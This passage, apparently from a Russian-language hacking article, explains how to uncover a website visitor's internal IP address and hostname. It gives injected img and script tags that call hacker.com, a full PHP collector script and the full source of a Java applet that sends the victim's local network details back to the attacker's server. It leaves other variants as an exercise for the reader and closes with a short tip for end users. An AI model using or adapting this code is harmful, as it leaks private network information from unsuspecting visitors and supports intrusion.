Читайте также:
|
|
В зависимости от ситуации хакер может применить те или иные методы. Каждый из способов специфичен, поэтому в некоторых случаях придется отказаться от некоторых из них. Например, вариант с использованием PHP, будет работать, даже через рисунок:
<img src=http://www.hacker.com/go2intranet.php>
Остальные проканают через подключение удаленного скрипта:
<script src=http://www.hacker.com/go2intranet.php></script>
Так может выглядеть PHP код, объединяющий технику Ява сканирования и получения информации из заголовков сервера:
<?PHP
session_start();
$url = 'http://0xfa60/go2intranet.php';
if($_GET['method']!= '')
{
// code here
if($_GET['method'] == 'java')
{
$_SESSION['java'] = $_GET['data'];
echo ('OK');
}
else
{
echo('Java: '. $_SESSION['java']. '
');
echo('X-Forwarded-For: '. $_SESSION['forwarded']. '
');
echo('REMOTE_*: '. $_SESSION['remote']. '
');
}
}
else
{
$url2save = $url. '?PHPSESSID='. session_id();
echo('<applet code=javaSocket.class>');
echo('<param name="url2save" value="'. $url2save.'">');
echo('</applet>');
list($forwarded) = split(',', $_SERVER['HTTP_X_FORWARDED_FOR'], 2);
$_SESSION['forwarded'] = 'local,,'. $forwarded. ',';
$_SESSION['remote'] = 'local,'. $_SERVER['REMOTE_HOST']
. ','. $_SERVER['REMOTE_ADDR']
. ','. $_SERVER['REMOTE_PORT'];
};
?>
Таким будет код Java апплета:
import java.applet.*;
import java.awt.*;
import java.io.*;
import java.net.*;
public class javaSocket extends Applet {
public class Host{
public String name;
public String ip;
public int port;
};
public int ubyte(byte value){
return (int)value & 0xff;
}
public String getStringIP(byte[] ip){
return (ubyte(ip[0]) + "."
+ ubyte(ip[1]) + "."
+ ubyte(ip[2]) + "."
+ ubyte(ip[3])
);
}
public void showHost(String name,Host host)
{
System.out.println(name + " name: " + host.name);
System.out.println(name + " port: " + host.port);
System.out.println(name + " ip: " + host.ip);
return;
}
public Host getHostBase(){
Host base = new Host();
base.name = getDocumentBase().getHost();
base.port = getDocumentBase().getPort();
if(base.port == -1)
base.port = 80;
base.ip = "unknown";
try
{
Socket connection = new Socket(base.name, base.port);
byte[] ip = connection.getInetAddress().getAddress();
base.ip = getStringIP(ip);
}catch(Exception e){ base.ip = "error"; };
return base;
}
public Host getHostLocal()
{
Host base = getHostBase();
Host local = new Host();
try {
Socket connection = new Socket(base.name, base.port);
local.name = connection.getLocalAddress().getHostName();
local.ip = connection.getInetAddress().getHostAddress();
local.port = connection.getLocalPort();
if(local.port == -1)
local.port = 80;
} catch(Exception e)
{
local.name = "localhost";
local.port = '0';
local.ip = "127.0.0.1";
}
return local;
}
public void saveHost(String local,Host host)
{
String url = getParameter("url2save");
String data= local
+"," + host.name
+"," + host.ip
+"," + host.port;
try
{
URLConnection connection =
new URL(url + "&method=java&data=" + data).openConnection();
BufferedReader in = new BufferedReader(
new InputStreamReader(connection.getInputStream()));
char[] buffer = new char[1024];
int charsRead;
while((charsRead = in.read(buffer, 0, 1024))!= -1)
{
String contents = new String(buffer, 0, charsRead);
System.out.println(contents);
}
} catch (Exception e) { }
return;
}
public void init()
{
showHost("local", getHostLocal());
saveHost("local", getHostLocal());
}
}
Все остальные комбинации оставляю для самостоятельной работы читателей. Стоит также добавить, что выбор техники может определяться динамически. Определить поддержку Java можно из JavaScript-а:
alert(navigator.javaEnabled());
Для примеров под FireFox необходимо определять имя браузера:
alert(navigator.appName);
И в таком духе реализовать комплексную проверку.
Для конечных пользователей можно лишь посоветовать использовать анонимные прокси, отключить поддержку Java и Flash. Не самая радужная перспектива, зато полезная штука для соблюдения корпоративной безопасности.
Дата добавления: 2015-09-11; просмотров: 82 | Поможем написать вашу работу | Нарушение авторских прав |